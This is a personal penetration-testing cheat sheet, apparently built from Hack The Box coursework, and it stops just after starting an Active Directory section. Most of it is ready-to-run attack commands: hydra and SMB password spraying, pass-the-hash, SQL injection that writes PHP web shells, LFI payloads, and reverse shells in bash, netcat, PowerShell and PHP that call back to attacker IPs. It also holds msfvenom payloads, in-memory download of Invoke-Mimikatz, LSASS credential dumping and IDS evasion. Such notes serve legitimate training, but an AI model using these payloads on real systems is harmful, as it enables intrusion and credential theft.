Offensive Security Notes - Creanyx0

BRUTE FORCE AND WORDLIST ATTACKS

Brute Force to services

Hydra

`hydra -l username -P /usr/share/wordlists/rockyou.txt service://IP`

Example: `hydra -l root -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.10`

```
-l: login name
-L: user list
-p: password
-P: password list
```

Brute force login

Basic Auth Brute Force - Combined Wordlist:

`hydra -C wordlist.txt SERVER_IP -s PORT http-get /`

Basic Auth Brute Force - User/Pass Wordlists:

`hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get /`

Login Form Brute Force - Static User, Pass Wordlist:

`hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form`
`"/login.php:username=^USER^&password=^PASS^:F=<form name='login'"`

SSH Brute Force - User/Pass Wordlists:

`hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4`

Brute force/cracking hashes

- John:

`john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt`

`john --status`

`john --show hashes.txt`

- Hashcat:

`hashcat -a 0 -m 0 hashes.txt /usr/share/wordlists/rockyou.txt`

`hashcat -a 3 -m 0 hashes.txt ?a?a?a?a?a?a?a?a`

SERVICES AND PROTOCOLS

SSH

Port 22 by default.

Using an SSH public/private key pair:

1. Generate a key pair (public and private key): `ssh-keygen`
2. Put the public key on the server.
3. When you SSH into the server, your SSH client proves to the server that you have the corresponding private key: `ssh -i ~/.ssh/custom_key_name SYSUSER@IP_ADDRESS_OF_SERVER`

Coomand to connect with SSH:
`ssh Username@IP`
`ssh -i id_rsa Username@IP`

Netcat

Netcat, ncat or nc is the same.

Can be used to connect to any listening port and interact with the service running on that port:
`nc IP Port`

Netcat is interesting to banner grabbing and transfer files between machines.

Banner grabbing with netcat:
`nc -nv IP PORT`

Banner grabbing with nmap:
`nmap -sV --script=banner -pPORT IP´

Powercat

Alternative to netcat is Powercat (https://github.com/besimorhino/powercat)

Socat

Another similar network utility is socat, which has a few features that netcat does not support, like forwarding ports and connecting to serial devices.

https://linux.die.net/man/1/socat

Upgrade Shell TTY with socat:
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-2-using-socat

Tmux

Terminal multiplexers, like tmux or Screen, are great utilities for expanding a standard Linux terminal's features, like having multiple windows within one terminal and jumping between them.

Install Tmux: `sudo apt install tmux -y`

CheatSheet: https://tmuxcheatsheet.com/

FTP

Port 21 by default.

Command to connect:
`ftp -p IP`

Common commands such as `cd` and `ls` and allows us to download files using the `get` command.

For example:
`get file.txt`

Upload a file:

`put file.txt`

Download all available files:

`wget -m --no-passive ftp://anonymous:anonymous@IP`

Service interaction:

`nc -nv IP 21`, `telnet IP 21`

Openssl:

```
openssl s_client -connect IP:21 -starttls ftp
```

SMB (Samba)

Some SMB versions may be vulnerable to RCE exploits such as EternalBlue.

Nmap has many scripts for enumerating SMB:

```
nmap --script smb-os-discovery.nse -p445 IP
```

```
nmap -A -p445 IP
```

Samba status:

`smbstatus`

Download a file:

`smbmap -H 10.10.10.10 --download "file\file.txt"`

Upload a file:

`smbmap -H 10.10.0.10 --upload test.txt "file\test.txt"`

Password spraying:

`crackmapexec smb 10.10.10.3 -u /tmp/userlist.txt -p 'password'`

Connect to smb:

`impacket-psexec administrator:'password'@10.10.10.10`

Extract hashes:

```
crackmapexec smb 10.10.10.17 -u administrator -p 'password' --sam
```

Pass the hash:

```
crackmapexec smb 10.10.11.17 -u Administrator -H 2B52ACBE6BCF573118041B8FE
```

Loggedon users:

```
crackmapexec smb 10.10.10.0/24 -u administrator -p 'password' --loggedon-users
```

Shares

SMB allows users and administrators to share folders and make them accessible remotely by other users.

smbclient: Is a tool that can enumerate and interact with SMB shares.
The `-L` flag specifies that we want to retrieve a list of available shares on the remote host, while `-N` suppresses the password prompt.

- `smbclient -N -L \\\\IP` or `smbclient -N -L //IP`
- `smbclient \\\\IP\\folder`
- `smbclient -U username \\\\IP\\folder`

rpcclient:

- `rpcclient -U "" IP`

`srvinfo`	**Server information.**
`enumdomains`	Enumerate all domains that are deployed in the network.
`querydominfo`	Provides domain, server and user information of deployed domains.
`netshareenumall`	Enumerates all available shares.
`netsharegetinfo <share>`	Provides information about a specific share
`enumdomusers`	Enumerates all domain users.
`queryuser <RID>`	Provides information about a specific user.

`srvinfo`	**Server information.**
* Brute Forcing User RIDs: `for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)"	grep "User Name|user_rid|group_ && echo "";done`

Impacket

https://github.com/fortra/impacket

https://github.com/fortra/impacket/blob/master/examples/samrdump.py

```
samrdump.py IP
```

sbmap

https://github.com/ShawnDEvans/smbmap

```
smbmap -H IP
```

CrackMapExec

https://github.com/byt3bl33d3r/CrackMapExec

```
crackmapexec smb IP --shares -u '' -p ''
```

Enum4Linux

https://github.com/cddmp/enum4linux-ng

```
git clone https://github.com/cddmp/enum4linux-ng.git

cd enum4linux-ng

pip3 install -r requirements.txt
```

```
./enum4linux-ng.py IP -A
```

NFS

When footprinting NFS, the TCP ports 111 and 2049 are essential.

```
sudo nmap --script nfs* IP -sV -p111,2049
```

Show Available NFS Shares

```
showmount -e IP
```

Mounting NFS Share

```
mkdir target-NFS
```

```
sudo mount -t nfs IP:/ ./target-NFS/ -o nolock
```

```
cd target-NFS
```

Unmounting

```
sudo umount ./target-NFS
```

DNS

```
dig soa www.domain.com
```

```
dig ns domain.htb @IP
```

```
dig CH TXT version.bind IP
```

```
dig any domain.htb @IP
```

Zone transfer:

```
dig axfr domain.htb @IP
```

SNMP

The manufacturer default community strings of `public` and `private` are often unchanged.

Service scanning:

- `snmpwalk -v 2c -c public IP 1.3.6.1.2.1.1.5.0`
- `snmpwalk -v 2c -c private 10.129.42.253`

Footprint:

```
snmpwalk -v2c -c public IP
```

A tool such as onesixtyone can be used to brute force the community string names using a dictionary file of common community strings such as the `dict.txt` file included in the GitHub repo for the tool.

If we do not know the community string, we can use:

```
onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt IP
```

https://github.com/trailofbits/onesixtyone

`onesixtyone -c dict.txt IP`

Once we know a community string, we can use it with braa to brute-force the individual OIDs and enumerate the information behind them.

```
braa <community string>@<IP>:.1.3.6.*
```

SMTP

Telnet: `telnet IP 25`

Commands: `HELO/EHLO`, `VRFY`

Open relay:

```
sudo nmap IP -p25 --script smtp-open-relay -v
```

IMAP / POP3

Common ports: 110,143,993,995

IMAP commands:

`1 LOGIN username password`	**User's login.**
`1 LIST "" *`	Lists all directories.
`1 CREATE "INBOX"`	Creates a mailbox with a specified name.
`1 DELETE "INBOX"`	Deletes a mailbox.
`1 RENAME "ToRead" "Important"`	Renames a mailbox.
`1 LSUB "" *`	Returns a subset of names from the set of names that the User has declared as being `active` or `subscribed`.
`1 SELECT INBOX`	Selects a mailbox so that messages in the mailbox can be accessed.
`1 UNSELECT INBOX`	Exits the selected mailbox.
`1 FETCH <ID> all`	Retrieves data associated with a message in the mailbox.
`1 CLOSE`	Removes all messages with the `Deleted` flag set.
`1 LOGOUT`	Closes the connection with the IMAP server.

POP3 commands:

`USER username`	**Identifies the user.**
`PASS password`	Authentication of the user using its password.
`STAT`	Requests the number of saved emails from the server.
`LIST`	Requests from the server the number and size of all emails.
`RETR id`	Requests the server to deliver the requested email by ID.
`DELE id`	Requests the server to delete the requested email by ID.
`CAPA`	Requests the server to display the server capabilities.
`RSET`	Requests the server to reset the transmitted information.
`QUIT`	Closes the connection with the POP3 server.

IMAP:

```
curl -k 'imaps://IP' --user user:p4ssw0rd
```

```
openssl s_client -connect IP:imaps
```

POP3:

```
openssl s_client -connect IP:pop3s
```

MySQL

Common port: 3306

Scanning:

```
sudo nmap IP -sV -sC -p3306 --script mysql*
```

Interact:

```
mysql -u user -h IP
```

```
mysql -u user -pP4SSw0rd -h IP
```

Commands:

```
MySQL [(none)]> show databases;
```

`Select database;`

`use database;`

`show tables;`

Command	Description
`mysql -u <user> -p<password> -h <IP address>`	Connect to the MySQL server. There should **not** be a space between the '-p' flag, and the password.
`show databases;`	Show all databases.
`use <database>;`	Select one of the existing databases.
`show tables;`	Show all available tables in the selected database.
`show columns from <table>;`	Show all columns in the selected database.
`select * from <table>;`	Show everything in the desired table.
`select * from <table> where <column> = "<string>";`	Search for needed `string` in the desired table.

Create a file: `mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'`

Read local files: `mysql> select LOAD_FILE("/etc/passwd");`

MSSQL

Databases:

Default System Database	Description
`master`	Tracks all system information for an SQL server instance
`model`	Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database
`msdb`	The SQL Server Agent uses this database to schedule jobs & alerts
`tempdb`	Stores temporary objects
`resource`	Read-only database containing system objects included with SQL server

Script scan:

```
creanyx@htb[/htb]$ sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p port IP
```

Metasploit:

```
msf6 auxiliary(scanner/mssql/mssql_ping)
```

Connecting with Mssqlclient.py

```
python3 mssqlclient.py Administrator@IP -windows-auth
```

Connect: `sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30`, `sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h`

Execute: `sqlcmd> xp_cmdshell 'whoami'`

Read local files: `sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents`

Identify the user and privileges: `sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]`

IPMI

NMAP:

```
sudo nmap -sU --script ipmi-version -p 623 ilo.domain.local
```

Metasploit:

```
use auxiliary/scanner/ipmi/ipmi_version
```

Dumping hashes:

```
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
```

RDP

Password spraying: `crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'`

Brute force: `hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp`

Connect: `rdesktop -u admin -p password123 192.168.2.143, xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25

Impersonate a user without privilege: `tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}`

Pass the hash: `xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA`

Connect to a Windows target using the Remote Desktop Protocol (RDP): `xfreerdp /v:IP /u:username /p:password`

WEB

Directory/File Enumeration

Gobuster: `gobuster dir -u http://IP/ -w /usr/share/dirb/wordlists/common.txt`

DNS Subdomain Enumeration

Gobuster:

`gobuster dns -d domain.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt`

Subdomain brute force:

```
for sub in $(cat /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.domain.htb @IP | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
```

```
dnsenum --dnsserver IP --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt domain.htb
```

```
dnsenum --enum domain.com -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r
```

Ffuf

Directory Fuzzing: `ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ`

Extension Fuzzing: `ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ`

Subdomain Fuzzing: `ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/`

Wordlists

https://github.com/danielmiessler/SecLists

Banner Grabbing / Web Server Headers

Curl:

```
curl -IL https://www.domain.com
```

Another handy tool is EyeWitness, which can be used to take screenshots of target web applications, fingerprint them, and identify possible default credentials.
https://github.com/RedSiege/EyeWitness

Version of web servers

Whatweb: `whatweb IP`

Finding Public Exploits

SearchSploit: `searchsploit openssh 7.2`

ExploitDB: https://www.exploit-db.com/

Netcat Listener

```
nc -lvnp port
```

Reverse Shell Command

```
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
```

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
```

```
powershell -nop -c "$client = New-Object
System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();
[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex
$data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt =
([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};
$client.Close()"
```

```
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2
9443 >/tmp/f"); ?>
```

More reverse shell:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Bind Shell Command

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
```

```
python -c 'exec("""import socket as s,subprocess as
sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR
, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True:
d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,std
in=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener =
[System.Net.Sockets.TcpListener]1234; $listener.start();$client =
$listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes =
0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " +
(pwd).Path + " ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte
.Length);$stream.Flush()};$client.Close();
```

Upgrading TTY

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Other commands:

- `python -c 'import pty; pty.spawn("/bin/sh")'`
- `/bin/sh -i`
- `perl —e 'exec "/bin/sh";'`
- `ruby: exec "/bin/sh"`

- `awk 'BEGIN {system("/bin/sh")}'`
- `find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;`
- `find . -exec /bin/sh \; -quit`
- `vim -c ':!/bin/sh'`

Web shell

```
<?php system($_REQUEST["cmd"]); ?>
```

```
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

```
<% eval request("cmd") %>
```

Uploading a Web Shell

```
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
```

Accessing Web Shell

```
curl http://SERVER_IP:PORT/shell.php?cmd=id
```

SQL Injection

Auth Bypass	
`admin' or '1'='1`	Basic Auth Bypass
`admin')-- -`	Basic Auth Bypass With comments
Union Injection	
`' order by 1-- -`	Detect number of columns using `order by`
`cn' UNION select 1,2,3-- -`	Detect number of columns using Union injection
`cn' UNION select 1,@@version,3,4-- -`	Basic Union injection
`UNION select username, 2, 3, 4 from passwords-- -`	Union injection for 4 columns

DB Enumeration	
`SELECT @@version`	Fingerprint MySQL with query output
`SELECT SLEEP(5)`	Fingerprint MySQL with no output
`cn' UNION select 1,database(),2,3-- -`	Current database name
`cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -`	List all databases
`cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -`	List all tables in a specific database
`cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -`	List all columns in a specific table
`cn' UNION select 1, username, password, 4 from dev.credentials-- -`	Dump data from a table in another database

File Injection	
`cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -`	Read local file
`select 'file written successfully!' into outfile '/var/www/html/proof.txt'`	Write a string to a local file
`cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -`	Write a web shell into the base web directory

SQLmap

Passing an HTTP request file to `SQLMap`: `sqlmap -r req.txt`

Basic DB enumeration: `sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba`

Reading a local file: `sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"`

Writing a file: `sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"`

Spawning an OS shell: `sqlmap -u "http://www.example.com/?id=1" --os-shell`

Interestings commands: `--dump`, `--dbs`

XSS

Basic XSS Payload: `<script>alert(window.origin)</script>`

Load remote script: `<script src="http://OUR_IP/script.js"></script>`

File inclusion

Basic LFI: `/index.php?language=/etc/passwd`

LFI with path traversal: `/index.php?language=../../../../etc/passwd`

Bypass basic path traversal filter: `/index.php?language=....//....//....//....//etc/passwd`

Bypass filters with URL encoding: `/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`

Read PHP with base64 filter: `/index.php?language=php://filter/read=convert.base64-encode/resource=config`

LFI + Upload: `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif`, `/index.php?language=./profile_images/shell.gif&cmd=id`

Create malicious zip archive 'as jpg': `echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php`, `/index.php?language=zip://shell.zip%23shell.php&cmd=id`

XXE

Define External Entity to a URL: `<!ENTITY xxe SYSTEM "http://localhost/email.dtd">`

Define External Entity to a file path: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`

Reading a file through a PHP error: `<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">`

Wordpress

`sudo wpscan --url <http://domainnameoripaddress> --enumerate`

`sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url <http://domainnameoripaddress>`

Joomla

`droopescan scan joomla --url http://<domainnameoripaddress`

`sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr <username or path to username list>`

Tomcat

Metasploit: `auxiliary/scanner/http/tomcat_mgr_login`

PRIVILEGE ESCALATION

Linux privilege escalation

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

https://github.com/rebootuser/LinEnum

https://github.com/sleventyeleven/linuxprivchecker

User Privileges: `sudo -l`, `sudo su -`, `sudo -u user /bin/echo Hello World!`, `su -`

Linenum: https://github.com/rebootuser/LinEnum

LINPEAS

See processes running as root: `ps aux | grep root`

Check the current user's Bash history: `history`

Find world-writeable directories: `find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null`

Find world-writeable files: `find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null`

Search for config files: `find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null`

Kernel version: `uname -a`

User run anything as another user: `sudo -l`

Find binaries with the SUID bit set: `find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null`

Windows privilege escalation

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

https://github.com/GhostPack/Seatbelt

Display running processes: `tasklist /svc`

View current user privileges: `whoami /priv`

Get all system users: `net user`

Display active network connections: `netstat -ano`

Connect using mssqlclient.py: `mssqlclient.py sql_dev@10.129.43.30 -windows-auth`, `enable_xp_cmdshell`, `xp_cmdshell whoami`

Escalate privileges with JuicyPotato: `c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t *`

Escalating privileges with PrintSpoofer: `c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"`

Take memory dump with ProcDump: `procdump.exe -accepteula -ma lsass.exe lsass.dmp`

Use MimiKatz to extract credentials from LSASS memory dump: `sekurlsa::minidump lsass.dmp` and `sekurlsa::logonpasswords`

Extract hashes with secretsdump.py: `secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL`

Confirming UAC is enabled: `REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA`

Search for files with the phrase "password": `findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml`

Searching for passwords in Chrome dictionary files: `gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' |`

`Select-String password`

Reading PowerShell history file: `gc (Get-PSReadLineOption).HistorySavePath`

Searching file contents for a string: `findstr /spin "password" *.*`

Search for file extensions: `dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*`

List saved credentials: `cmdkey /list`

Run all LaZagne modules: `.\lazagne.exe all`

Retrieve saved wireless passwords: `netsh wlan show profile`, `netsh wlan show profile ilfreight_corp key=clear`

Decode file with certutil: `certutil -decode encodedfile file2`

Privilege escalation - PEAS

https://github.com/peass-ng/PEASS-ng

Privilege escalation - GTFObins

https://gtfobins.github.io/

It contains a list of commands and how they can be exploited through sudo.

Privilege escalation - SSH

If we have read access over the `.ssh` directory for a specific user, we may read their private ssh keys found in `/home/user/.ssh/id_rsa` or `/root/.ssh/id_rsa`, and use it to log in to the server. If we can read the `/root/.ssh/` directory and can read the `id_rsa` file, we can copy it to our machine and use the `-i` flag to log in with it:

- `vim id_rsa`
- `chmod 600 id_rsa`
- `ssh username@ip -i id_rsa`

If we find ourselves with write access to a users `/.ssh/` directory, we can place our public key in the user's ssh directory at `/home/user/.ssh/authorized_keys`.

```
ssh-keygen -f key
```

```
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys
```

```
ssh username@IP -i key
```

TRANSFER FILES

Transferring files

- `cd /tmp`
- `python3 -m http.server port`

Wget:

- `wget http://IP:port/file.sh`

Curl:

- `curl http://IP:port/file.sh -o fileOutput.sh`

SCP:

- `scp file.sh user@remotehost:/tmp/file.sh`
- Download a file: `Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1`, `bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe`, `certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe`, `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh`, `curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`, `php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'`, `scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe`
- Execute a file in memory: `IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')`
- Upload a file: `Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64`, `scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip`

PowerShell command used to download a file called backupscript.exe from a webserver (`172.16.5.129:8123`) and then save the file to location specified after `-OutFile`.
`Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"`

Unzip

`unzip file.zip`

msfvenom

`msfvenom -p payload LHOST=IP LPORT=PORT -f fileType > nameoffile.elf`

Examples:

- Linux reverse shell: `msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf`
- Windows reverse shell: `msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe`
- MacOS reverse shell: `msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho`
- ASP web reverse shell: `msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp`

EVASION

Firewall and IDS/IPS Evasion

```
sudo nmap IP -p Ports -sS -Pn -n --disable-arp-ping --packet-trace
```

```
sudo nmap IP -p Ports -sA -Pn -n --disable-arp-ping --packet-trace
```

Filtered port:

```
sudo nmap IP -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
```

```
ncat -nv --source-port 53 IP 50000
```

Using decoys:

```
sudo nmap IP -p port -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5
```

Using different IP:

```
sudo nmap IP -n -Pn -p port -O -S IPsource -e tun0
```

PIVOTING AND TUNNELING

Pivoting and tunneling

SSH comand used to create an SSH tunnel from a local machine on local port `1234` to a remote target using port 3306:

`ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget>`

Netstat option used to display network connections associated with a tunnel created. Using `grep` to filter based on local port `1234`:

`netstat -antp | grep 1234`

Nmap command used to scan a host through a connection that has been made on local port `1234`.

`nmap -v -sV -p1234 localhost`

SSH command that instructs the ssh client to request the SSH server forward all data via port `1234` to `localhost:3306`.

`ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget>`

SSH command used to perform a dynamic port forward on port `9050` and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.

`ssh -D 9050 ubuntu@<IPaddressofTarget>`

Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range `172.16.5.1-200` with increased verbosity (`-v`) disabling ping scan (`-sn`).

```
proxychains nmap -v -sn 172.16.5.1-200
```

Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (`-v`), disabling ping discover (`-Pn`), and using TCP connect scan type (`-sT`).

```
proxychains nmap -v -Pn -sT 172.16.5.19
```

Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.

```
proxychains msfconsole
```

Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.

```
proxychains xfreerdp /v:<IPaddressofTarget> /u:victor /p:pass@123
```

SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target.

```
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 ubuntu@<ipAddressofTarget> -vN
```

Metasploit command used to select the autoroute module.

```
msf6 > use post/multi/manage/autoroute
```

Meterpreter command used to display the features of the portfwd command.

```
meterpreter > help portfwd
```

Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.

```
meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>
```

Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host.

```
meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>
```

Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy

chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.

```
plink -D 9050 ubuntu@<IPaddressofTarget>
```

Clones the rpivot project GitHub repository.

```
sudo git clone https://github.com/klsecservices/rpivot.git
```

Used to run the rpivot server (`server.py`) on proxy port `9050`, server port `9999` and listening on any IP address (`0.0.0.0`).

```
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
```

Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.

```
scp -r rpivot ubuntu@<IPaddressOfTarget>
```

Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port.

```
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
```

Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.

```
python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>
```

Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.

```
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25
```

Windows-based command used to view the configurations of a portproxy rule called v4tov4.

```
netsh.exe interface portproxy show v4tov4
```

Clones the `dnscat2` project GitHub repository.

```
git clone https://github.com/iagox86/dnscat2.git
```

Used to start the dnscat2.rb server running on the specified IP address, port (`53`) & using the domain `inlanefreight.local` with the no-cache option enabled.

```
sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
```

Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5.

```
./chisel server -v -p 1234 --socks5
```

Used to connect to a chisel server at the specified IP address & port using socks.

```
./chisel client -v 10.129.202.64:1234 socks
```

ACTIVE DIRECTORY

Active Directory (AD)

Used to display the usage instructions and various options available in `Responder` from a Linux-based host.

```
responder -h
```

